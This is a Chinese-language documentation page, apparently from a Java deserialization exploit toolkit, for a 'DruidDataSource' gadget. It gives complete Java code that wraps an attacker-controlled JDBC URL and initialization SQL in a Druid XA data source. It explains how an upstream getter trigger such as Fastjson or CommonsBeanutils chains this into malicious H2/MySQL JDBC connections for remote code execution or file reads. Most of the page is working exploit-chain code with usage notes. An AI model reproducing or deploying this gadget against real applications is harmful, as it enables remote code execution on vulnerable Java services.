- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
com.alibaba:druid:1.2.16
构造一个 com.alibaba.druid.pool.xa.DruidXADataSource,把其 url 设为攻击者可控的 JDBC URL。当上游触发 getConnection()(读取 connection 属性)时,Druid 连接池会用该 JDBC URL 建立连接,从而把「任意 getter 触发」桥接到「JDBC URL 攻击」(如 H2/MySQL 恶意 JDBC → 字节码执行 / 文件读取)。是 getter → JDBC URL 的中间跳板。
- 入口
tags:DataSourceChains—— 承接上游nextTags含DataSourceChains的 gadget(如 Fastjson)。Getter—— 依赖上游调用其 getter 来触发。END—— 就「getter 触发」这一环而言它是终点标签(不再向另一个 getter 衔接)。
- 衔接
nextTags:JdbcUrlChains/JdbcUrlWithSQLChains—— 之后需接一个「产出 JDBC URL(可含初始化 SQL 列表)」的下游 gadget,其产物作为getObject的jdbcUrl/sqlList。
excludes:无。
@GadgetTags(tags={"DataSourceChains", "Getter", "END"}, nextTags={"JdbcUrlChains", "JdbcUrlWithSQLChains"})
public class DruidDataSource implements Gadget {
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
public Object getObject(String jdbcUrl, List<String> sqlList) throws Exception {
DruidXADataSource dataSource = new DruidXADataSource();
dataSource.setLogWriter(null);
dataSource.setStatLogger(null);
dataSource.setUrl(jdbcUrl); // 恶意 JDBC URL
dataSource.setInitialSize(1);
Reflections.setFieldValue(dataSource, "transactionHistogram", null);
Reflections.setFieldValue(dataSource, "statLogger", null);
Reflections.setFieldValue(dataSource, "initedLatch", null); // 置空不可序列化 / 干扰字段
if (sqlList != null) {
Reflections.setFieldValue(dataSource, "connectionInitSqls", sqlList); // 连接后执行的初始化 SQL
}
return dataSource;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object jdbcObj = chain.doCreate(context); // 取内层:下游产出的 JDBC URL 载荷
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
String jdbcUrl = "";
List<String> sqlList = new ArrayList<String>();
if (jdbcObj instanceof String) {
jdbcUrl = (String)jdbcObj; // 下游直接给字符串 URL
} else if (jdbcObj instanceof Map) {
Map jdbcMap = (Map)jdbcObj;
jdbcUrl = (String)jdbcMap.get(ContextTag.JDBC_URL); // 或给 Map:URL + SQL 列表
sqlList = (List)jdbcMap.get(ContextTag.JDBC_URL_SQL_LIST);
}
return this.getObject(jdbcUrl, sqlList);
}
}逐段解释:
invoke()先chain.doCreate(context)取内层对象——这是下游(JdbcUrlChains/JdbcUrlWithSQLChains类 gadget,如 H2 恶意 JDBC 构造器)产出的 JDBC URL 载荷,可能是纯String,也可能是携带初始化 SQL 列表的Map(键JDBC_URL/JDBC_URL_SQL_LIST)。- 随后向 context 注入
getConnection/connection,让上游 getter 触发器知道该调用哪个方法。 getObject()里创建DruidXADataSource,setUrl(jdbcUrl)写入恶意 URL,setInitialSize(1)。真正触发点在上游调用getConnection()时:Druid 会用该 URLDriverManager.getConnection,若 URL 指向恶意 H2/MySQL 便可进一步 RCE;connectionInitSqls则是连接建立后自动执行的 SQL(配合 H2 的CREATE ALIAS ... RUNSCRIPT等)。- 多处
Reflections.setFieldValue(..., null)(transactionHistogram、statLogger、initedLatch)是把 Druid 内部不可序列化或会干扰构造/序列化的字段清空,保证对象能被安全携带。
与 DruidDataSource2 的区别:本类用 DruidXADataSource(XA 版本),未带 NotForJavaSerializable 标签,可用于要求整图 Java 可序列化的场景;DruidDataSource2 用普通 DruidDataSource 并标注 NotForJavaSerializable。
本类无独立 @Param;JDBC URL 与初始化 SQL 均来自下游 gadget 的产物(chain.doCreate 的返回值)。
- 依赖
com.alibaba:druid:1.2.16(其它相近版本内部字段名一致时通常也可)。 - 本质是「DataSource.getConnection 桥接 JDBC URL 攻击」,需两侧配合:上游一个 getter 触发器 + 下游一个 JDBC URL 载荷 gadget。
- 使用 XA 版数据源,绕开普通
DruidDataSource不可 Java 序列化的限制,因此适用面比DruidDataSource2更广。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 上游(
nextTags含DataSourceChains):Fastjson、Fastjson2、CommonsBeanutils1。 - 下游(
nextTags=JdbcUrlChains/JdbcUrlWithSQLChains):H2/MySQL 等 JDBC URL 载荷 gadget(如H2JavaJdbc1、H2JavaExecJdbc1)。 - 同类:DruidDataSource2、DmdbRowSet。